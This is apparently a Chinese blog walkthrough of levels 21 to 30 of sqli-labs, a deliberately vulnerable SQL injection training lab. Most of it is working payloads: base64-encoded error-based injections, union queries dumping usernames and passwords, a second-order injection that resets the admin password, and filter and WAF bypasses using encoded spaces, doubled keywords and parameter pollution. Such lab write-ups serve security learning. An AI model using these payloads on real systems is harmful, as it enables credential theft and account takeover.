• sqli-labs通关教程----21~30关


    第二十一关

    第二十一关我们正常登陆后看到,uname后面变成了一堆字母

    这是经过base64编码之后的样子,所以就照葫芦画瓢,将我payload的uname后面的部分转码成base64,这里可以用正常的注入套路order by等一步步走,但为了方便我直接用报错注入,但这里注意闭合是')

    uname=admin') and updatexml(1,concat(0x7e,(select database())),0) #
    

    将uname=后面的部分都base64编码一下

    uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSksMCkgIw==
    


    爆内容:

    uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHVzZXJzIGxpbWl0IDAsMSkpLDApIw==
    

    第二十二关

    这关正常登陆和上关回显一样盲猜就是换了个闭合符号,测试下还真是闭合换成了"双引号
    爆内容:

    uname=YWRtaW4iICBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHVzZXJzIGxpbWl0IDAsMSkpLDApIw==
    

    第二十三关

    这关测试一下好像怎么换注释符都没作用,那就换一种注释方式,加两个引号将前后的引号闭合掉。

    ?id=-1'  union select 11,2,database()  '
    

    或者用or语句闭合掉后面的引号

    ?id='  union select 1,group_concat(password),group_concat(username) from users where 11 or  '1'='1
    

    第二十四关

    这里是个二次注入,原本正常的数据在被调用时,其中的某些字符被当成sql语句执行了。
    这里先注册一个admin' #用户,登陆。在修改密码的时候sql语句是这样的,用户名和密码被直接拿出来使用,没有转义。

    所以当我们修改密码时Sql语句变为
    UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
    也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
    等于说变成修改了admin的密码,这里我将密码改为1234,看修改后能不能登陆admin账户,修改成功后会有succe提示

    登陆admin

    成功

    第二十五关

    这关看题目应该把and和or过滤了,但是只要双写就绕过了,因为他只过滤一次。或者直接用union select联合查询。
    也可以用 &&和||代替and和or

    http://192.168.0.101/sql/less-25/?id=1' anandd '1'='1' --+
    
    -1'  union select 1,2,group_concat(passwoorrd) from users --+
    

    第二十五a关

    这关一样的,就是变成数字型注入,

    -1'  union select 1,2,group_concat(passwoorrd) from users --+
    

    第二十六关

    这关过滤了很多

    空格,and,or,,/*,#等都被过滤了.所以我们直接给他加个url编码
    但是这里能用的空格编码%a0在windows上不能解析,懒得在Linux上搭环境了,就不截图了。

    %09 TAB键(水平)
    %0a 新建一行
    %0c 新的一页
    %0d return功能
    %0b TAB键(垂直)
    %a0 空格
    %27单引号
    用'1'='1进行闭合或者‘闭合,(注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要)
    爆库名:

    ?id=0'union%a0select%a01,database(),3%26%26'1'='1
    

    爆内容:

    ?id=0'union%a0select%a01,group_concat(passwoorrd)%a0from%a0users%a0where%a01,3%26%26'1'='1
    

    第二十六a关

    这关闭合多了个)
    爆内容:

    id=0')%0bunion%0bselect%0b1,group_concat(username,0x3b,passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1
    

    第二十七关

    这关把 union select一起过滤了,用大小写UniON SelECt绕过就行
    爆内容:

    ?id=0'%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0'1
    

    第二十七a关

    和第二十七关一样,就是把单引号变成双引号闭合了

    第二十八关

    这关过滤了组合union select双写union union select select就行,其他还是替换url编码。
    这关and没过滤

    爆数据库名:

    ?id=1'and(ascii(substr((sElect%a0database()),1,1))>115)and'1'='1
    

    第二十八a关

    这关闭合变成了')其他一样。

    第二十九关

    这关开始没整明白他干了啥,我输入啥都行,看hint就把我的‘单引号url编码了,
    直接爆数据。

    ?id=-1' union select 1,2,group_concat(username,0x7e,password) from users --+
    


    但看题目好像用了waf百度下又看了源码。

    好像是输入两个id值,waf看前面的id值过关了,apache就解析后面的
    变这样

    ?id=1&id=0' union select 1,group_concat(password),2 from users --+
    

    第三十关

    把单引号换成双引号就行了,可能是专门设置这样的关卡来提醒我们,过waf时要多尝试不同的可能.........

  • 相关阅读:
    javascript form表单常用的正则表达式
    jquery判断邮箱对错
    利用js实现placeholder占位符,甩开ie不兼容
    jquery常用的选择器
    html+css底部自动固定底部
    css form表单样式清除
    js alert(“”)弹框 自定义样式
    Vue.js 源码分析(二十三) 指令篇 v-show指令详解
    Vue.js 源码分析(二十一) 指令篇 v-pre指令详解
    Vue.js 源码分析(二十) 指令篇 v-once指令详解
  • 原文地址:https://www.cnblogs.com/Xy--1/p/12741195.html
Copyright © 2020-2023  润新知